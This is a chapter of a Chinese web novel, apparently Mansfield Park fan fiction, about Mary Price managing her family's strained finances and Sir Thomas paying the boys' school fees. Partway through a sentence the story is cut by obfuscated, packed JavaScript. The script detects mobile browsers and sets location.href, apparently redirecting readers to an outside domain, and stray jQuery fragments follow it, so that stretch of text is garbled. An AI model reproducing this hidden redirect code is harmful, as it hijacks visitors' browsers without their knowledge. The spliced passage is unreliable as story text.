默认冷灰
24号文字
方正启体

4. 第 4 章

作者:南华子本书字数:K更新时间:
    虽然玛丽一直努力把能堵的漏洞都堵上,普莱斯家的开销已经降了不少,但是已经花出去的钱可变回不来。


    好在普莱斯太太因为看到了不用搬家的希望,给曼斯菲尔德庄园写信写得勤快极了,这是她这么多年第一次做一件事这么积极。即使托马斯爵士没法给心爱的威廉安排一个合适的前程,总能在别的地方帮帮忙吧。“家里的孩子个个都有上进心,一心想着给家里省钱,可他们夫妻有什么能力呢,他们快要给不起孩子的学费了,更别提为孩子做点什么了。”这封信起到了什么效果我们暂且不谈。


    这天,又是一个礼拜六,威廉、约翰和理查德的学校下午放了半天假。既然不必上学,约翰和理查德便在家里大喊大叫,玩跑上跑下的游戏,他们的嗓门甚至吵到了在起居室里看报纸的普莱斯中尉,中尉不禁爆起了粗口:“你们这两个小兔崽子,别被我抓到!”


    威廉此刻没和弟弟们在一起,他上了楼,敲了敲妹妹们房间的门:“玛丽,你在吗?有件事我想和你谈谈。”


    “在,亲爱的哥哥,你有什么要和我商量的?”玛丽正在整理房间,把威廉迎进来后,她做到自己房间的那张简陋的书桌旁边,抬头看向哥哥,只见威廉在屋里来回踱步,他两只手攥成拳头,似乎在犹豫怎么开口。


    就在玛丽等了一段时间,准备再问一问有什么事的时候,威廉看了看玛丽书桌上被摆放得整整齐齐的课本——那是理查德已经用不上的一年级、二年级课本,越发觉得自己的决定没错,于是终于开口:“明年毕业,我就不再去上学了,到时候我会向妈妈提议,争取送你和苏珊去女子学校。”


    穷人家的孩子总是更早学会自立,这句话可以称得上一句举世不移的真理。自得知家里财务状况不佳,威廉早已暗自下定决心,从水手做起,不再浪费家里的钱继续接受教育了。他相信只要自己敢闯敢拼,总有办法发财,在朴茨茅斯这个港口,他从小不只一次听到过这样的故事——某某先生去了一次东方,回来时发了大财,在家乡买下了房子和土地。


    对于这段时间家里的变化,威廉也不是毫无察觉,玛丽这样努力帮妈妈省钱,还能是为了什么呢?她从小与众不同,刚刚懂事就问普莱斯太太为什么威廉、约翰、理查德能去学校读书,她和范妮、苏珊却不能。虽然普莱斯先生对女儿提出这种“非分之想”大为不满,觉得普莱斯太太把玛丽惯得不知好歹,但是威廉却一直对此心存歉意,他的几个姐妹并非缺乏聪明才智,却没能有幸像邻居家的露西和简一样接受学校的教育。


    他和范妮私下也讨论过几次,论感情,当然是他和范妮感情最好,但是范妮已经九岁了,她不觉得自己有必要再去学校学习(普莱斯家送孩子去的学校接近于后世的初等教育,一般招收六岁到十一岁的孩子)。


    “哦,亲爱的哥哥,谢谢你的好意。我想你意识到了我最近一直在帮妈妈节省开支。说实话,以家里目前的状况,即使省下你那份,我还不知道明年约翰和理查德的学费该从哪里出呢,更别提我和苏珊了。或许就像妈妈说的,真希望有一天我们的阔亲戚能够帮帮忙。”


    玛丽当然希望去学校上学,即便此时对女性的教育十分浅薄,有机会接受教育总比没机会强。但是一家之主普莱斯先生对此不赞成,家里又尚且入不敷出,再这样下去说不定不得不搬到更差的街区去,到时候成长环境只会更差。既要又要的结果只会是一无所有,至少现在普莱斯一家还能维持住体面,马克斯韦尔将军太太虽然有时候像逗弄一个小宠物一样对待她,但也让她见了不少世面,何必过分苛求呢!


    就在兄妹二人的这段对话过了一段时间,即将临近圣诞节的时候,托马斯爵士的信寄来了,信里给了普莱斯家一个惊喜:托马斯爵士承诺今后普莱斯家男孩子的教育费用都由他出了,这次还随信寄来了今年的三十英镑。


    威廉开心极了,普莱斯太太喜不自胜,就连普莱斯中尉这次都对连襟的大方赞不绝口,他们家未来可是有好几个男孩要上学,这笔费用托马斯爵士要给上好多年呢,这下子下一代全不用他和普莱斯太太操心了,男孩们只要读书识字将来总有出路。


    玛丽在心里默默算了算:最近三个月来家里的开支已经减少了十来镑,加上这次姨父托马斯爵士寄来的三十镑,今年的缺口估计只有几镑了。可惜是姨父只愿意赞助男孩子的学费,普莱斯中尉又是个大男子主义浓厚的父亲,她和苏珊的学费还是得靠自己。


    果不其然,在威廉天真地以为几个兄弟不需要花家里的钱,可以把三个妹妹都送到女子学校去时,被普莱斯太太直接拒绝了:“我的宝贝,你真是太好啦!你为妹妹们考虑得可真多呀!可是普莱斯先生不会同意的,你看托马斯爵士也没有提到家里的女孩。女孩子,最重要的还是找一个好丈夫,玛丽这么漂亮,不去学校也能把其他姑娘比下去,至于范妮和苏珊,她们也都是好孩子,你就别为这发愁了。多么好的一位兄长呀,真可惜托马斯爵士没法给你安排一个好前程。”


    普莱斯太太的话让威廉很失望,他有些不好意思面对妹妹们,要是他有钱的话,他绝对愿意让妹妹们也分享这种欢乐,可惜托马斯爵士没有考虑到这点,但是姨夫的慷慨已经让他很感激了,他无法责怪他,只能怪自己没钱。


    无论如何,有托马斯爵士送来的好消息,普莱斯家的圣诞节过得还真是惬意。那天早上一家人吃过早餐后,都换上最体面的那身衣服去教堂做礼拜,虽然平时在家里普莱斯先生粗鲁暴躁、大大咧咧,普莱斯太太则被孩子和家务折磨得不像样子,但是到了礼拜日和重大节日,稍微收拾打扮一下,一家人漂亮的基因就显露无疑了。


    尤其普莱斯先生,竟变得仪表堂堂起来,与外人交谈也十分体面,一点看不出他在家里是怎样冲自己的妻子和孩子大声吼叫的。每到这时,玛丽就不疑惑当初普莱斯太太为什么会对他一见倾心了。


    回到家后,玛丽把整理好的十二月账目递给普莱斯太太,再与商贩们寄过来的账单一对,果然只有八英镑的缺口,但是不要紧,普莱斯中尉已经拿到今年的利息收入了,每年这个时候是也普莱斯太太最阔气的时候,商贩们个个笑容满面地离开。


    这位太太一派喜气洋洋的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598658|171966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样子,她数出答应给女儿的钱,想了想又多拿了一个先令,一起递给玛丽。“亲爱的,今天过节,你个小人儿歇一歇吧,和范妮、苏珊一起去玩彩带吧,别再为家里的开销发愁了,听普莱斯中尉说马上今年的薪水要发下来,我真希望至少有四十镑。”


    普莱斯太太今天的心情还真是好:儿子们一个个都长得健康漂亮,女儿玛丽一出现总能吸引所有人的目光,真是给她长脸,做礼拜时格雷戈里太太羡慕极了,要知道她的儿子一直病恹恹的,两个女孩长得也不算多漂亮。


    玛丽亲了亲普莱斯太太的脸,向母亲表示感谢,随后说:“哦!妈妈,我不喜欢玩彩带!要是父亲能够拿到薪水那就再好不过了,他本就应该拿到这笔钱。今年我们过得是多么惊险呀!差一点我们明年就要搬离这个街区了,多亏了姨父托马斯爵士和姨妈伯特伦夫人!”


    “当然,可惜托马斯爵士在海军没什么关系。”普莱斯太太又想到了自己的大儿子威廉。


    “妈妈,在东方有句古老的谚语叫‘救急不救穷’,姨父已经为普莱斯家付出了不少,我们也不好老是麻烦他们呀。我们可以提前想想看家里还有什么开支是可以压缩的,明年也不至于再像今年一样着急忙慌的。”


    按照玛丽的估算,如果没什么特殊情况,普莱斯家明年的家务开支可以控制在一百四十镑左右,仆人工资开支约二十七镑六先令,衣物开支约四十五镑,房租、税费和水费约四十五镑十二先令,附带开销如教堂捐赠、订阅报纸、给孩子零花钱等约四十二镑,一年总开销刚好约三百镑。


    这里面厨房开支已经降低不少,仆人工资和给孩子的零花钱相比过去涨了些(过去普莱斯太太每个月给威廉一个先令,男孩子偶尔从普莱斯中尉那得到几个便士,每个月不超过两个先令;现在每个月则固定给玛丽四到五个先令),其他开销还是老样子。普莱斯先生要是拿到今年的薪水的话,明年还有可能结余二十镑;但凡这笔钱有了差错,明年反而得亏空二十镑。


    “麻烦托马斯爵士,我觉得这对他来说根本谈不上麻烦,等肚子里的这个孩子出生,他和伯特伦夫人还要做孩子的教父教母呢!我想他们总会给孩子寄点什么的。”普莱斯太太没有抓住重点。


    至于如何管钱,那是普莱斯先生的事,虽然收益来自于妻子的嫁妆,但是普莱斯太太反而没有权力决定钱该怎么花,她只能每个月从丈夫那拿到一些用来支付固定开销的钱,比如家务开支、仆人工资、裁缝账单、房租等,要是不够用了——这事儿经常发生,就得再到丈夫那去拿。至于附带开销如教育费用、教堂座位费、订阅报纸等往往是普莱斯先生一个人做决定。就像今年,离米迦勒节还有一个月,普莱斯先生已经发现钱不够用了,如果没有他们的好亲戚支持,或许十月份他们就要换房子住。


    玛丽倒是想把中尉那些没必要的开销给砍了,可一家人的钱都在普莱斯先生那,玛丽的计划再好也没有用,即使有结余,钱往往也会被普莱斯先生花到不知什么地方去。要让一家人摆脱财务危机甚至存下钱,还是需要一个不被他控制的财务渠道才行。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)